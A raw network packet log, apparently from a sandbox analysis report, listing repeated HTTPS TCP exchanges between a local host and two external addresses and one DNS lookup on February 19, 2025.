Feb 19, 2025 20:38:10.987890005 CET	443	50031	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:10.987952948 CET	50031	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:11.015120983 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:11.015163898 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:11.015242100 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:11.015470028 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:11.015484095 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:11.645402908 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:11.645600080 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:11.645996094 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:11.646008968 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:11.646158934 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:11.646163940 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:12.065812111 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:12.065853119 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:12.065927982 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:12.065962076 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:12.065978050 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:12.065979958 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:12.066004992 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:12.066032887 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:12.066735983 CET	50032	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:12.066754103 CET	443	50032	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:12.189718008 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:12.189769030 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:12.189832926 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:12.190057993 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:12.190069914 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:12.886921883 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:12.887056112 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:12.887687922 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:12.887751102 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:12.889482021 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:12.889493942 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:12.889777899 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:12.889838934 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:12.890229940 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:12.931348085 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:13.327399969 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:13.327461004 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:13.327483892 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:13.327524900 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:13.327620029 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:13.327658892 CET	443	50033	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:13.327703953 CET	50033	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:13.340290070 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:13.340327978 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:13.340393066 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:13.340655088 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:13.340667963 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:13.978667021 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:13.978746891 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:13.979264021 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:13.979274988 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:13.979474068 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:13.979480028 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:14.396069050 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:14.396099091 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:14.396158934 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:14.396193981 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:14.396209002 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:14.396239996 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:14.396387100 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:14.396430016 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:14.396430969 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:14.396480083 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:14.397120953 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:14.397135973 CET	443	50034	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:14.397145987 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:14.397182941 CET	50034	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:14.518876076 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:14.518929958 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:14.518996954 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:14.519299030 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:14.519320965 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:15.181613922 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:15.181768894 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:15.182368994 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:15.182435989 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:15.184839964 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:15.184863091 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:15.185112953 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:15.185162067 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:15.185947895 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:15.227340937 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:15.575761080 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:15.575884104 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:15.575923920 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:15.575969934 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:15.576066971 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:15.576126099 CET	443	50035	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:15.576176882 CET	50035	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:15.586132050 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:15.586184978 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:15.586253881 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:15.586549997 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:15.586563110 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.226974010 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.227046967 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.227549076 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.227557898 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.227768898 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.227775097 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.676954985 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.676985025 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.677093983 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.677126884 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.677175999 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.677418947 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.677463055 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.677464962 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.677505016 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.678047895 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.678061008 CET	443	50036	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:16.678092003 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.678112984 CET	50036	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:16.799899101 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:16.800004005 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:16.800107002 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:16.800687075 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:16.800721884 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:17.538933039 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:17.539084911 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.539725065 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:17.539783955 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.544080973 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.544095993 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:17.544329882 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:17.544374943 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.544785976 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.587349892 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:17.938503981 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:17.938575983 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:17.938620090 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.938688040 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.938811064 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.938862085 CET	443	50037	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:17.938889980 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.938918114 CET	50037	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:17.950577021 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:17.950644970 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:17.950721025 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:17.950928926 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:17.950946093 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:18.581155062 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:18.581218958 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:18.581697941 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:18.581713915 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:18.581866026 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:18.581871986 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:19.005722046 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:19.005760908 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:19.005867004 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:19.005901098 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:19.005914927 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:19.005949020 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:19.006125927 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:19.006165028 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:19.006179094 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:19.006216049 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:19.006711960 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:19.006731033 CET	443	50038	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:19.006747007 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:19.006792068 CET	50038	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:19.127260923 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:19.127331972 CET	443	50039	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:19.127404928 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:19.127659082 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:19.127680063 CET	443	50039	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:19.780250072 CET	443	50039	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:19.780338049 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:19.780822039 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:19.780853033 CET	443	50039	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:19.781004906 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:19.781018019 CET	443	50039	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:20.253761053 CET	443	50039	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:20.253854990 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:20.253891945 CET	443	50039	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:20.253942013 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:20.254024029 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:20.254071951 CET	443	50039	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:20.254126072 CET	50039	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:20.267072916 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:20.267116070 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:20.267190933 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:20.267379045 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:20.267386913 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:20.904732943 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:20.904793978 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:20.905333996 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:20.905343056 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:20.905580044 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:20.905586004 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:21.336941957 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:21.336985111 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:21.337024927 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:21.337058067 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:21.337071896 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:21.337095022 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:21.337100983 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:21.337116957 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:21.337135077 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:21.337153912 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:21.337939978 CET	50040	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:21.337955952 CET	443	50040	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:21.456276894 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:21.456347942 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:21.456499100 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:21.456856012 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:21.456878901 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.090532064 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.090605021 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.091327906 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.091377020 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.093219995 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.093240023 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.093476057 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.093518972 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.093918085 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.135366917 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.596151114 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.596226931 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.596255064 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.596343994 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.596368074 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.596402884 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.596571922 CET	443	50041	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:22.596657038 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.596657038 CET	50041	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:22.605793953 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:22.605904102 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:22.606009960 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:22.606220961 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:22.606257915 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:23.265508890 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:23.265567064 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:23.266395092 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:23.266419888 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:23.266557932 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:23.266566992 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:23.716059923 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:23.716106892 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:23.716223955 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:23.716260910 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:23.716274977 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:23.716278076 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:23.716296911 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:23.716322899 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:23.716897964 CET	50042	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:23.716914892 CET	443	50042	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:23.846411943 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:23.846462965 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:23.846530914 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:23.846878052 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:23.846893072 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.568197012 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.568315983 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.568980932 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.569045067 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.570770979 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.570782900 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.571091890 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.571150064 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.571501017 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.615334988 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.967031002 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.967170000 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.967196941 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.967238903 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.967247009 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.967257023 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.967281103 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.967304945 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.967392921 CET	50043	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:24.967408895 CET	443	50043	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:24.976042032 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:24.976078033 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:24.976154089 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:24.976402044 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:24.976409912 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:25.636858940 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:25.636929989 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:25.638494968 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:25.638506889 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:25.638667107 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:25.638672113 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:26.060741901 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:26.060798883 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:26.060889959 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:26.060914993 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:26.060933113 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:26.060961962 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:26.060992956 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:26.061674118 CET	50044	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:26.061688900 CET	443	50044	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:26.190215111 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:26.190262079 CET	443	50045	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:26.190538883 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:26.190794945 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:26.190804958 CET	443	50045	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:26.828800917 CET	443	50045	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:26.832643986 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:26.836941004 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:26.836941004 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:26.836956024 CET	443	50045	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:26.836971045 CET	443	50045	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:27.225505114 CET	443	50045	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:27.225630045 CET	443	50045	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:27.225640059 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:27.225892067 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:27.225892067 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:27.225892067 CET	50045	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:27.233887911 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:27.233966112 CET	443	50046	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:27.234055042 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:27.234263897 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:27.234283924 CET	443	50046	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:27.926069021 CET	443	50046	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:27.926146984 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:27.926575899 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:27.926587105 CET	443	50046	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:27.926752090 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:27.926755905 CET	443	50046	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:28.355186939 CET	443	50046	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:28.355236053 CET	443	50046	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:28.355400085 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:28.355412960 CET	443	50046	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:28.355535984 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:28.356595993 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:28.356622934 CET	443	50046	172.217.16.129	192.168.2.11
Feb 19, 2025 20:38:28.356730938 CET	50046	443	192.168.2.11	172.217.16.129
Feb 19, 2025 20:38:28.475974083 CET	50047	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:28.476026058 CET	443	50047	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:28.476121902 CET	50047	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:28.476532936 CET	50047	443	192.168.2.11	142.250.185.78
Feb 19, 2025 20:38:28.476552010 CET	443	50047	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:29.175399065 CET	443	50047	142.250.185.78	192.168.2.11
Feb 19, 2025 20:38:29.175488949 CET	50047	443	192.168.2.11	142.250.185.78

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2025 20:37:07.421087980 CET	53681	53	192.168.2.11	1.1.1.1
Feb 19, 2025 20:37:07.428431988 CET	53	53681	1.1.1.1	192.168.2.11
